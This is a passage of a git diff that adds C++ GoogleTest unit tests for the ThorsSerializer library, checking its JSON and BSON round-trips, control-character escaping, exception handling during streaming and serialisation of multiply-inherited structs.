ThorsAnvil::Serialize::bsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + std::string_view outputView((&*output.str().begin()) + 11 , std::size(value)); + EXPECT_EQ(exportDone, true); + EXPECT_EQ(outputView.find('\t'), std::string::npos); + auto find = outputView.find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(outputView[find+1], 'n'); +} +TEST(EscapeControlTest, BsonOutputContainsFF) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\f A string with A Form Feed"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::bsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + std::string_view outputView((&*output.str().begin()) + 11 , std::size(value)); + EXPECT_EQ(exportDone, true); + EXPECT_EQ(outputView.find('\t'), std::string::npos); + auto find = outputView.find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(outputView[find+1], 'f'); +} +TEST(EscapeControlTest, BsonOutputContainsCR) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::string value("\r A string with A Carridge Return"); + std::stringstream output; + bool exportDone = false; + + if (output << ThorsAnvil::Serialize::bsonExporter(value, PrinterInterface::OutputType::Default)) { + exportDone = true; + } + std::string_view outputView((&*output.str().begin()) + 11 , std::size(value)); + EXPECT_EQ(exportDone, true); + EXPECT_EQ(outputView.find('\t'), std::string::npos); + auto find = outputView.find('\\'); + ASSERT_NE(find, std::string::npos); + EXPECT_EQ(outputView[find+1], 'r'); +} + + diff --git a/Extern/include/ThorsSerializer/test/ExceptionTest.h b/Extern/include/ThorsSerializer/test/ExceptionTest.h new file mode 100644 index 0000000..074eef8 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/ExceptionTest.h @@ -0,0 +1,44 @@ +#include "Traits.h" +#include + +namespace ExceptionTest +{ + +class ThrowablePrint +{ + bool doThrow; + public: + int val; + ThrowablePrint(bool doThrow, int val) + : doThrow(doThrow) + , val(val) + {} + friend std::ostream& operator<<(std::ostream& str, ThrowablePrint const& val) + { + if (val.doThrow) + { + throw std::runtime_error("Test Throw"); + } + return str << val.val; + } + friend std::istream& operator>>(std::istream& str, ThrowablePrint& val) + { + if (val.doThrow) + { + throw std::runtime_error("Test Throw"); + } + return str >> val.val; + } + static std::size_t size(ThrowablePrint const& value) + { + return std::to_string(value.val).size(); + } + + using ThorsSerializerCustomObjectSize = ThrowablePrint; +}; + +} + +ThorsAnvil_MakeTraitCustom(ExceptionTest::ThrowablePrint); + + diff --git a/Extern/include/ThorsSerializer/test/ExceptionWhilePrintingTest.cpp b/Extern/include/ThorsSerializer/test/ExceptionWhilePrintingTest.cpp new file mode 100644 index 0000000..06c8b4d --- /dev/null +++ b/Extern/include/ThorsSerializer/test/ExceptionWhilePrintingTest.cpp @@ -0,0 +1,386 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include +#include "test/ExceptionTest.h" + + +TEST(ExceptionWhilePrintingTest, JsonNormalPrint) +{ + std::stringstream stream; + ExceptionTest::ThrowablePrint obj(false, 15); + bool thrown = false; + + try + { + stream << ThorsAnvil::Serialize::jsonExporter(obj, false); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::goodbit); + EXPECT_EQ(stream.str(), " 15"); +} + + +TEST(ExceptionWhilePrintingTest, JsonNormalPrintCatchEnabled) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::stringstream stream; + ExceptionTest::ThrowablePrint obj(false, 16); + bool thrown = false; + + try + { + stream << ThorsAnvil::Serialize::jsonExporter(obj, PrinterInterface::OutputType::Default); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::goodbit); + EXPECT_EQ(stream.str(), " 16"); +} + +TEST(ExceptionWhilePrintingTest, JsonThrowPrint) +{ + std::stringstream stream; + ExceptionTest::ThrowablePrint obj(true, 17); + bool thrown = false; + + try + { + stream << ThorsAnvil::Serialize::jsonExporter(obj, false); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, true); + EXPECT_EQ(state, std::ios::failbit); +} + + +TEST(ExceptionWhilePrintingTest, JsonThrowPrintCatchEnabled) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::stringstream stream; + ExceptionTest::ThrowablePrint obj(true, 18); + bool thrown = false; + + try + { + stream << ThorsAnvil::Serialize::jsonExporter(obj, PrinterInterface::OutputType::Default); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::failbit); +} + + +TEST(ExceptionWhilePrintingTest, JsonNormalStream) +{ + std::stringstream stream(R"(19 "Data")"); + ExceptionTest::ThrowablePrint obj(false,1); + bool thrown = false; + + try + { + stream >> ThorsAnvil::Serialize::jsonImporter(obj, false); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::goodbit); + EXPECT_EQ(obj.val, 19); +} + + +TEST(ExceptionWhilePrintingTest, JsonNormalStreamCatchEnabled) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream stream(R"(20 "Data")"); + ExceptionTest::ThrowablePrint obj(false, 2); + bool thrown = false; + + try + { + stream >> ThorsAnvil::Serialize::jsonImporter(obj, ParserInterface::ParseType::Weak); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::goodbit); + EXPECT_EQ(obj.val, 20); +} + +TEST(ExceptionWhilePrintingTest, JsonThrowStream) +{ + std::stringstream stream("21"); + ExceptionTest::ThrowablePrint obj(true, 3); + bool thrown = false; + + try + { + stream >> ThorsAnvil::Serialize::jsonImporter(obj, false); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, true); + EXPECT_EQ(state, std::ios::eofbit | std::ios::failbit); +} + + +TEST(ExceptionWhilePrintingTest, JsonThrowStreamCatchEnabled) +{ + using ThorsAnvil::Serialize::ParserInterface; + std::stringstream stream("22"); + ExceptionTest::ThrowablePrint obj(true, 4); + bool thrown = false; + + try + { + stream >> ThorsAnvil::Serialize::jsonImporter(obj, ParserInterface::ParseType::Weak); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::eofbit | std::ios::failbit); +} + + +TEST(ExceptionWhilePrintingTest, BsonNormalPrint) +{ + std::stringstream stream; + ExceptionTest::ThrowablePrint obj(false, 15); + bool thrown = false; + + try + { + stream << ThorsAnvil::Serialize::bsonExporter(obj, false); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::goodbit); + + static const char expectedRaw[] + = "\x0F\x00\x00\x00" + "\x05" "0\x00" "\x02\x00\x00\x00" "\x80" "15" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(stream.str(), expected); +} + + +TEST(ExceptionWhilePrintingTest, BsonNormalPrintCatchEnabled) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::stringstream stream; + ExceptionTest::ThrowablePrint obj(false, 16); + bool thrown = false; + + try + { + stream << ThorsAnvil::Serialize::bsonExporter(obj, PrinterInterface::OutputType::Default); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::goodbit); + static const char expectedRaw[] + = "\x0F\x00\x00\x00" + "\x05" "0\x00" "\x02\x00\x00\x00" "\x80" "16" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(stream.str(), expected); +} + +TEST(ExceptionWhilePrintingTest, BsonThrowPrint) +{ + std::stringstream stream; + ExceptionTest::ThrowablePrint obj(true, 17); + bool thrown = false; + + try + { + stream << ThorsAnvil::Serialize::bsonExporter(obj, false); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, true); + EXPECT_EQ(state, std::ios::failbit); +} + + +TEST(ExceptionWhilePrintingTest, BsonThrowPrintCatchEnabled) +{ + using ThorsAnvil::Serialize::PrinterInterface; + std::stringstream stream; + ExceptionTest::ThrowablePrint obj(true, 18); + bool thrown = false; + + try + { + stream << ThorsAnvil::Serialize::bsonExporter(obj, PrinterInterface::OutputType::Default); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::failbit); +} + + +TEST(ExceptionWhilePrintingTest, BsonNormalStream) +{ + static const char inputRaw[] + = "\x16\x00\x00\x00" + "\x05" "0\x00" "\x09\x00\x00\x00" "\x80" "19 \"Data\"" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ExceptionTest::ThrowablePrint obj(false,1); + bool thrown = false; + + try + { + stream >> ThorsAnvil::Serialize::bsonImporter(obj, false); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::goodbit); + EXPECT_EQ(obj.val, 19); +} + + +TEST(ExceptionWhilePrintingTest, BsonNormalStreamCatchEnabled) +{ + using ThorsAnvil::Serialize::ParserInterface; + static const char inputRaw[] + = "\x16\x00\x00\x00" + "\x05" "0\x00" "\x09\x00\x00\x00" "\x80" "20 \"Done\"" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ExceptionTest::ThrowablePrint obj(false, 2); + bool thrown = false; + + try + { + stream >> ThorsAnvil::Serialize::bsonImporter(obj, ParserInterface::ParseType::Weak); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::goodbit); + EXPECT_EQ(obj.val, 20); +} + +TEST(ExceptionWhilePrintingTest, BsonThrowStream) +{ + static const char inputRaw[] + = "\x0F\x00\x00\x00" + "\x05" "0\x00" "\x02\x00\x00\x00" "\x80" "21" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ExceptionTest::ThrowablePrint obj(true, 3); + bool thrown = false; + + try + { + stream >> ThorsAnvil::Serialize::bsonImporter(obj, false); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, true); + EXPECT_EQ(state, std::ios::failbit); +} + + +TEST(ExceptionWhilePrintingTest, BsonThrowStreamCatchEnabled) +{ + using ThorsAnvil::Serialize::ParserInterface; + static const char inputRaw[] + = "\x0F\x00\x00\x00" + "\x05" "0\x00" "\x02\x00\x00\x00" "\x80" "22" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ExceptionTest::ThrowablePrint obj(true, 4); + bool thrown = false; + + try + { + stream >> ThorsAnvil::Serialize::bsonImporter(obj, ParserInterface::ParseType::Weak); + } + catch(...) + { + thrown = true; + } + + std::ios_base::iostate state = stream.rdstate(); + EXPECT_EQ(thrown, false); + EXPECT_EQ(state, std::ios::failbit); +} + diff --git a/Extern/include/ThorsSerializer/test/HomeBrewTest.cpp b/Extern/include/ThorsSerializer/test/HomeBrewTest.cpp new file mode 100644 index 0000000..d53324e --- /dev/null +++ b/Extern/include/ThorsSerializer/test/HomeBrewTest.cpp @@ -0,0 +1,22 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "HomeBrewTest.h" +#include +#include +#include + +TEST(HomeBrewTest, homeBrewTest) +{ + using ThorsAnvil::Serialize::jsonImporter; + using ThorsAnvil::Serialize::jsonExporter; + + std::stringstream inputData(R"({"key":"XYZ","code":37373})"); + + HomeBrewBlock object; + inputData >> jsonImporter(object); + + if (object.key != "XYZ" || object.code != 37373) { + std::cerr << "Fail"; + } + std::cerr << "OK"; +} diff --git a/Extern/include/ThorsSerializer/test/HomeBrewTest.h b/Extern/include/ThorsSerializer/test/HomeBrewTest.h new file mode 100644 index 0000000..3948c46 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/HomeBrewTest.h @@ -0,0 +1,11 @@ +#include "JsonThor.h" +#include "SerUtil.h" + +struct HomeBrewBlock +{ + std::string key; + int code; +}; + +ThorsAnvil_MakeTrait(HomeBrewBlock, key, code); + diff --git a/Extern/include/ThorsSerializer/test/IgnoreUneededDataTest.cpp b/Extern/include/ThorsSerializer/test/IgnoreUneededDataTest.cpp new file mode 100644 index 0000000..20bbdf5 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/IgnoreUneededDataTest.cpp @@ -0,0 +1,35 @@ +#include "SerializeConfig.h" +#include "IgnoreUneededDataTest.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" + +TEST(IgnoreUneededDataTest, JsonArrayEmpty) +{ + IgnoreUneededDataTest::Thing obj; + obj.name = "Test"; + + std::stringstream data; + data << TA::jsonExporter(obj, false); + + IgnoreUneededDataTest::ThingVersion objver; + data >> TA::jsonImporter(objver, false); +/* + EXPECT_EQ(3, objver.version); +*/ +} +TEST(IgnoreUneededDataTest, BsonArrayEmpty) +{ + IgnoreUneededDataTest::Thing obj; + obj.name = "Test"; + + std::stringstream data; + data << TA::bsonExporter(obj, false); + + IgnoreUneededDataTest::ThingVersion objver; + data >> TA::bsonImporter(objver, false); +/* + EXPECT_EQ(3, objver.version); +*/ +} + diff --git a/Extern/include/ThorsSerializer/test/IgnoreUneededDataTest.h b/Extern/include/ThorsSerializer/test/IgnoreUneededDataTest.h new file mode 100644 index 0000000..51da8a5 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/IgnoreUneededDataTest.h @@ -0,0 +1,35 @@ + +#ifndef THORS_ANVIL_SERIALIZE_TEST_IGNORE_UNEEDED_DATA +#define THORS_ANVIL_SERIALIZE_TEST_IGNORE_UNEEDED_DATA + +#include "../Serialize.h" +#include "../SerUtil.h" + +namespace TA=ThorsAnvil::Serialize; + +namespace IgnoreUneededDataTest +{ + +class Thing +{ +public: + Thing(): version(3) {} + long version; + std::string name; +}; + +class ThingVersion +{ +public: + ThingVersion(): version(0) {} + long version; +}; + +} + + +ThorsAnvil_MakeTrait(IgnoreUneededDataTest::ThingVersion, version); +ThorsAnvil_MakeTrait(IgnoreUneededDataTest::Thing, name, version); + +#endif + diff --git a/Extern/include/ThorsSerializer/test/Issue38Test.cpp b/Extern/include/ThorsSerializer/test/Issue38Test.cpp new file mode 100644 index 0000000..b15260e --- /dev/null +++ b/Extern/include/ThorsSerializer/test/Issue38Test.cpp @@ -0,0 +1,516 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include +#include + + +using namespace std::string_literals; +using namespace ThorsAnvil::Serialize; +using namespace std; + +namespace Issue38 +{ + +struct Connection +{ + bool active; +}; + +struct IPConnection: public Connection +{ + int port; +}; + +struct IPv4Connection: public IPConnection +{ + std::string v4Name; +}; + +struct IPv6Connection: public IPConnection +{ + std::string v6Name; + double cost; +}; + +struct TcpConnection +{ + int blocks; +}; + +struct UdpConnection +{ + int listeners; +}; + +struct Tcp4Connection : public IPv4Connection, public TcpConnection +{ + std::vector data; +}; +struct Tcp6Connection : public IPv6Connection, public TcpConnection +{ + std::vector sync; +}; +struct Udp4Connection : public IPv4Connection, public UdpConnection +{ + std::vector fly; +}; +struct Udp6Connection : public IPv6Connection, public UdpConnection +{ + std::vector fancy; +}; + +using Tcp4ConnectionParent = ThorsAnvil::Serialize::Parents; +using Tcp6ConnectionParent = ThorsAnvil::Serialize::Parents; +using Udp4ConnectionParent = ThorsAnvil::Serialize::Parents; +using Udp6ConnectionParent = ThorsAnvil::Serialize::Parents; + +} + + +ThorsAnvil_MakeTrait(Issue38::Connection, active); +ThorsAnvil_ExpandTrait(Issue38::Connection, Issue38::IPConnection, port); +ThorsAnvil_ExpandTrait(Issue38::IPConnection, Issue38::IPv4Connection, v4Name); +ThorsAnvil_ExpandTrait(Issue38::IPConnection, Issue38::IPv6Connection, v6Name, cost); +ThorsAnvil_MakeTrait(Issue38::TcpConnection, blocks); +ThorsAnvil_MakeTrait(Issue38::UdpConnection, listeners); + + +ThorsAnvil_ExpandTrait(Issue38::Tcp4ConnectionParent, Issue38::Tcp4Connection, data); +ThorsAnvil_ExpandTrait(Issue38::Tcp6ConnectionParent, Issue38::Tcp6Connection, sync); +ThorsAnvil_ExpandTrait(Issue38::Udp4ConnectionParent, Issue38::Udp4Connection, fly); +ThorsAnvil_ExpandTrait(Issue38::Udp6ConnectionParent, Issue38::Udp6Connection, fancy); + +#include + +TEST(Issue38Test, JsonConnection) +{ + std::string input = R"( + { + "active": true + })"; + std::stringstream stream(input); + + Issue38::Connection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonIPConnection) +{ + std::string input = R"( + { + "active": true, + "port": 22 + })"; + std::stringstream stream(input); + + Issue38::IPConnection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonIPv4Connection) +{ + std::string input = R"( + { + "active": true, + "port": 56, + "v4Name": "LongPort" + })"; + std::stringstream stream(input); + + Issue38::IPv4Connection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonIPv6Connection) +{ + std::string input = R"( + { + "active": true, + "port": 67, + "v6Name": "ShortPort", + "cost": 12.5 + })"; + std::stringstream stream(input); + + Issue38::IPv6Connection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonTcpConnection) +{ + std::string input = R"( + { + "blocks": 8 + })"; + std::stringstream stream(input); + + Issue38::TcpConnection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonUdpConnection) +{ + std::string input = R"( + { + "listeners": 12 + })"; + std::stringstream stream(input); + + Issue38::UdpConnection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonTcp4Connection) +{ + std::string input = R"( + { + "active": true, + "port": 56, + "v4Name": "LongPort", + "blocks": 8, + "data": [15, 67] + })"; + std::stringstream stream(input); + + Issue38::Tcp4Connection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonTcp6Connection) +{ + std::string input = R"( + { + "active": true, + "port": 56, + "v6Name": "LongPort", + "cost": 12, + "blocks": 88, + "sync": [15, 67] + })"; + std::stringstream stream(input); + + Issue38::Tcp6Connection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonUdp4Connection) +{ + std::string input = R"( + { + "active": true, + "port": 67, + "v4Name": "ShortPort", + "listeners": 999, + "fly": [13, 14, 12.5] + })"; + std::stringstream stream(input); + + Issue38::Udp4Connection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, JsonUdp6Connection) +{ + std::string input = R"( + { + "active": true, + "port": 56, + "v6Name": "LongPort", + "cost": 88, + "listeners": 101, + "fancy": ["long", "way", "down"] + })"; + std::stringstream stream(input); + + Issue38::Udp6Connection test; + stream >> ThorsAnvil::Serialize::jsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::jsonExporter(test, false); + + std::string result = output.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + input.erase(std::remove_if(std::begin(input), std::end(input), [](char x){return ::isspace(x);}), std::end(input)); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonConnection) +{ + //std::string input = R"( { "active": true })"; + std::string input = "\x0E\x00\x00\x00" + "\x08" "active\x00" "\x01" + "\x00"s; + std::stringstream stream(input); + + Issue38::Connection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonIPConnection) +{ + //std::string input = R"({ "active": true, "port": 22 })"; + std::string input = "\x18\x00\x00\x00" + "\x08" "active\x00" "\x01" + "\x10" "port\x00" "\x16\x00\x00\x00" + "\x00"s; + std::stringstream stream(input); + + Issue38::IPConnection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonIPv4Connection) +{ + //std::string input = R"( { "active": true, "port": 56, "v4Name": "LongPort" })"; + std::string input = "\x2D\x00\x00\x00" + "\x08" "active\x00" "\x01" + "\x10" "port\x00" "\x38\x00\x00\x00" + "\x02" "v4Name\x00" "\x09\x00\x00\x00" "LongPort\x00" + "\x00"s; + std::stringstream stream(input); + + Issue38::IPv4Connection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonIPv6Connection) +{ + //std::string input = R"( { "active": true, "port": 67, "v6Name": "ShortPort", "cost": 12.5 })"; + std::string input = "\x3C\x00\x00\x00" + "\x08" "active\x00" "\x01" + "\x10" "port\x00" "\x43\x00\x00\x00" + "\x02" "v6Name\x00" "\x0A\x00\x00\x00" "ShortPort\x00" + "\x01" "cost\x00" "\x00\x00\x00\x00\x00\x00\x29\x40" + "\x00"s; + std::stringstream stream(input); + + Issue38::IPv6Connection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonTcpConnection) +{ + //std::string input = R"( { "blocks": 8 })"; + std::string input = "\x11\x00\x00\x00" + "\x10" "blocks\x00" "\x08\x00\x00\x00" + "\x00"s; + std::stringstream stream(input); + + Issue38::TcpConnection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonUdpConnection) +{ + //std::string input = R"( { "listeners": 12 })"; + std::string input = "\x14\x00\x00\x00" + "\x10" "listeners\x00" "\x0C\x00\x00\x00" + "\x00"s; + std::stringstream stream(input); + + Issue38::UdpConnection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonTcp4Connection) +{ + //std::string input = R"( { "active": true, "port": 56, "v4Name": "LongPort", "blocks": 8, "data": [15, 67] })"; + std::string input = "\x52\x00\x00\x00" + "\x08" "active\x00" "\x01" + "\x10" "port\x00" "\x38\x00\x00\x00" + "\x02" "v4Name\x00" "\x09\x00\x00\x00" "LongPort\x00" + "\x10" "blocks\x00" "\x08\x00\x00\x00" + "\x04" "data\x00" + "\x13\x00\x00\x00" + "\x10" "0\x00" "\x0E\x00\x00\x00" + "\x10" "1\x00" "\x43\x00\x00\x00" + "\x00" + "\x00"s; + std::stringstream stream(input); + + Issue38::Tcp4Connection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonTcp6Connection) +{ + //std::string input = R"( { "active": true, "port": 56, "v6Name": "LongPort", "cost": 12, "blocks": 88, "sync": [15, 67] })"; + std::string input = "\x60\x00\x00\x00" + "\x08" "active\x00" "\x01" + "\x10" "port\x00" "\x38\x00\x00\x00" + "\x02" "v6Name\x00" "\x09\x00\x00\x00" "LongPort\x00" + "\x01" "cost\x00" "\x00\x00\x00\x00\x00\x00\x28\x40" + "\x10" "blocks\x00" "\x58\x00\x00\x00" + "\x04" "sync\x00" + "\x13\x00\x00\x00" + "\x10" "0\x00" "\x0E\x00\x00\x00" + "\x10" "1\x00" "\x43\x00\x00\x00" + "\x00" + "\x00"s; + std::stringstream stream(input); + + Issue38::Tcp6Connection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonUdp4Connection) +{ + //std::string input = R"( { "active": true, "port": 67, "v4Name": "ShortPort", "listeners": 999, "fly": [13, 14, 12.5] })"; + std::string input = "\x68\x00\x00\x00" + "\x08" "active\x00" "\x01" + "\x10" "port\x00" "\x43\x00\x00\x00" + "\x02" "v4Name\x00" "\x0A\x00\x00\x00" "ShortPort\x00" + "\x10" "listeners\x00" "\x08\x00\x00\x00" + "\x04" "fly\x00" + "\x26\x00\x00\x00" + "\x01" "0\x00" "\x00\x00\x00\x00\x00\x00\x2A\x40" + "\x01" "1\x00" "\x00\x00\x00\x00\x00\x00\x2C\x40" + "\x01" "2\x00" "\x00\x00\x00\x00\x00\x00\x29\x40" + "\x00" + "\x00"s; + std::stringstream stream(input); + + Issue38::Udp4Connection test; + stream >> ThorsAnvil::Serialize::bsonImporter(test, false); + + std::stringstream output; + output << ThorsAnvil::Serialize::bsonExporter(test, false); + + std::string result = output.str(); + EXPECT_EQ(input, result); +} +TEST(Issue38Test, BsonUdp6Connection) +{ + //std::string input = R"( { "active": true, "port": 56, "v6Name": "LongPort", "cost": 88, "listeners": 101, "fancy": ["long", "way", "down"] })"; + std::string input = "\x79\x00\x00\x00" + "\x08" "active\x00" "\x01" + "\x10" "port\x00" "\x38\x00\x00\x00" + "\x02" "v6Name\x00" "\x09\x00\x00\x00" "LongPort\x00" + "\x01" "cost\x00" "\x00\x00\x00\x00\x00\x00\x56\x40" + "\x10" "listeners\x00" "\x65\x00\x00\x00" + "\x04" "fancy\x00" + "\x28\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "long\x00" + "\x02" "1\x00" "\x04\x00\x00\x00" "way\x00" + "\x02" "2\x00" "\x05\x00\x00\x00" "down\x00" + "\x00" + "\x00"s; + std::stringstream stream(input); + + Issue38::Udp6Connection test; + stream >> 